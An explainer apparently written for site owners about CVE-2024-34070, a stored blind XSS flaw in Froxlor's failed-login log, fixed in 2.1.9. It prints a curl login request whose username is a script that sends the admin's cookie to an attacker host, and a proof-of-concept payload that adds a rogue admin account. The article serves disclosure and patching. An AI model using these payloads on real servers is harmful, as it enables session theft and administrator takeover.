Froxlor is a popular open source tool used by thousands to manage web servers with ease. But before version 2.1.9, it had a hidden danger: an attacker didn’t even need an account to potentially gain full administrator control. Welcome to the story of CVE-2024-34070 – a Stored Blind Cross-Site Scripting (XSS) flaw with big consequences.

What Is CVE-2024-34070?

CVE-2024-34070 is a security hole found in the Failed Login Attempts Logging Feature of Froxlor. Here’s the simple breakdown:

What happens?

Malicious JavaScript entered as a username during a failed login is stored. When an administrator views failed logins (in the *System Logs*), the script runs in their browser.

What can go wrong?

The attacker can hijack the administrator’s session, change settings, or even create a new admin account.

How Does the Exploit Work?

Let’s see exactly what this looks like in practice.

1. Attacker submits a login attempt—but instead of a typical username, they use a *JavaScript payload*.

Here’s a snapshot of how an attacker might perform step one

curl -X POST "http://your-froxlor-url/login.php"; \
    -d "loginname=<script>fetch('https://evil.attacker.com/x?c='+document.cookie)</script>" \
    -d "password=wrongpassword"

When the admin checks the Failed Login Attempts log page, the above script runs. For example, it could steal their session cookie, or even submit form data via JavaScript to add a new admin.

Proof-of-Concept: Adding a Rogue Admin

Say you want to show how deep the rabbit hole goes. With full XSS, you can perform complex actions, like this (as an injected payload):

// This script will run in the administrator’s browser!
fetch('/admin_add.php', {
  method: 'POST',
  credentials: 'include',
  headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
  body: 'username=hacker&password=Passwrd!&group=admin'
});

The above would (theoretically) create a new admin account, *if* the endpoint and parameters match your Froxlor installation. All actions are taken as the admin, without their knowledge.

How Was It Fixed?

The Froxlor team patched the issue in version 2.1.9 by properly sanitizing user input before storing and displaying it in logs. Always update to the latest version!

See the official advisory:
- GitHub Security Advisory GHSA-79gf-cpmh-6xwx
- NVD Entry

Final Thoughts

Not every security hole is as dramatic as CVE-2024-34070—but it shows how a “simple” log entry can lead to total compromise when web applications don’t properly escape or clean user input.

References & Further Reading

- GitHub Security Advisory
- Froxlor Official Website
- NVD: CVE-2024-34070 Details
- OWASP XSS Cheat Sheet


> If you use Froxlor, update now. If you develop web apps—never trust user input, no matter how harmless it looks!

Timeline

Published on: 05/14/2024 15:38:26 UTC
Last modified on: 08/02/2024 02:42:59 UTC